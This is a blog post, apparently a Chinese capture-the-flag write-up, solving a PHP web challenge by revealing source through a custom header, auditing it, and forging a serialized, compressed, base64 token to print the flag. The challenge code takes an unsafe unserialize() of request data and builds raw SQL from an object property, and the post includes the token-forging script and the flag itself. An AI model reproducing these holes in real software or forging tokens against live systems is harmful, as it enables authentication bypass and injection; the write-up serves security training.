CTF web之旅 6

f12查看前段代码 考虑为账号密码

登录成功

随便查看登录成功页面的抓包信息

再返回看到了一个奇怪的头部 show 值为0

是不是令它为1可以显示一些关键信息

请求包添加头部 show:1

果然返回了一段php 开始审计之路

<?php
	include 'common.php';
	$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
	//array_merge()是把多个数组合为一个数组 特别注意array_merge() 如果输入的数组中有相同的字符串键名,则该键名后面的值将覆盖前一个值。
	//然而,如果数组包含数字键名,后面的值将不会覆盖原来的值,而是附加到后面。
	class db
	{
		public $where;//定义where属性
		function __wakeup()//定义wakeup方法
		{
			if(!empty($this->where))//$this代表当前对象的内存地址,可以调用对象的所有属性和方法 
			{
				$this->select($this->where);
			}
		}

		function select($where)
		{
			$sql = mysql_query('select * from user where '.$where);//执行查询语句
			return @mysql_fetch_array($sql);//mysql_fetch_array() 函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有
			//就是将查询结果以数组的形式返回
		}
	}

	if(isset($requset['token']))
	{
		$login = unserialize(gzuncompress(base64_decode($requset['token'])));
		//对token令牌依次base64解码 解压被压缩的字符串 反序列化 
		$db = new db();
		$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
		//函数转义 SQL 语句中使用的字符串中的特殊字符:\x00  \n  \r  \  '  "  \x1a
		if($login['user'] === 'ichunqiu')
		{
			echo $flag;
		}else if($row['pass'] !== $login['pass']){
			echo 'unserialize injection!!';
		}else{
			echo "(╯‵□′)╯︵┴─┴ ";
		}
	}else{
		header('Location: index.php?error=1');
	}

?>

 if($login['user'] === 'ichunqiu')这个是关键

将ichunqiu这段字符经过对应的三个反函数处理 然后加入到请求包的令牌中即可

<?php
$a = array('user'=>'ichunqiu');
$a = base64_encode(gzcompress(serialize($a)));
echo $a
?>

在线运行一下

 

 

 

 

 

 得到flag

flag{fb39499c-b390-403f-8fde-5030ce849a83}

 

posted @ 2021-03-01 12:21  C10ud  阅读(64)  评论(0)    收藏  举报